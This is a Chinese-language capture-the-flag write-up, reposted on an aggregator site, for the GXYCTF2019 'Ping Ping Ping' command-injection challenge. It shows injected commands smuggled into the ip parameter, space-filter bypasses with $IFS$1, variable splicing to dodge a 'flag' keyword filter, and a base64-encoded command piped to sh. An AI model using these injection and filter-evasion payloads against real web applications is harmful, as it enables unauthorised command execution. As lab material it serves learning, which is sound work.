首页 > 其他 > 详细

[GXYCTF2019]Ping Ping Ping(管道符,绕过空格,变量拼接、Base64编码绕过)

时间:2021-05-11 00:43:42      阅读:31      评论:0      收藏:0      [点我收藏+]

1.尝试

技术分享图片

题目如此。

根据提示,域名加上?/ip=1 能够ping成功

技术分享图片

2.管道符

/?ip=1;ls 列出文件 发现有 flag.php index.php

/?ip=1;cat flag.php 得到: /?ip= fxck your space!

应该是空格被过滤,于是尝试用一些方法绕过空格。

3.绕过空格

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换

均无法绕过。

flag.php 看不了,先看index.php,同样要用空格绕过

/?ip=1;cat$IFS$1index.php 得到

/?ip=
PING 1 (0.0.0.1): 56 data bytes
/?ip=
|\‘|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\‘|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

所以是屏蔽了很多:flag,/,bash等。变量拼接或者编码绕过。

4.变量拼接

payload:/?ip=1;i=g;cat$IFS$1fla$i.php

在这个页面查看源码得到flag

5.Base64编码绕过

payload:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

base64进行编码,再用命令进行解读。从而达到执行。
这里用的是sh,sh的大部分脚本都可以在bash下运行.

前边Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行

[GXYCTF2019]Ping Ping Ping(管道符,绕过空格,变量拼接、Base64编码绕过)

原文:https://www.cnblogs.com/jingvf/p/14753407.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!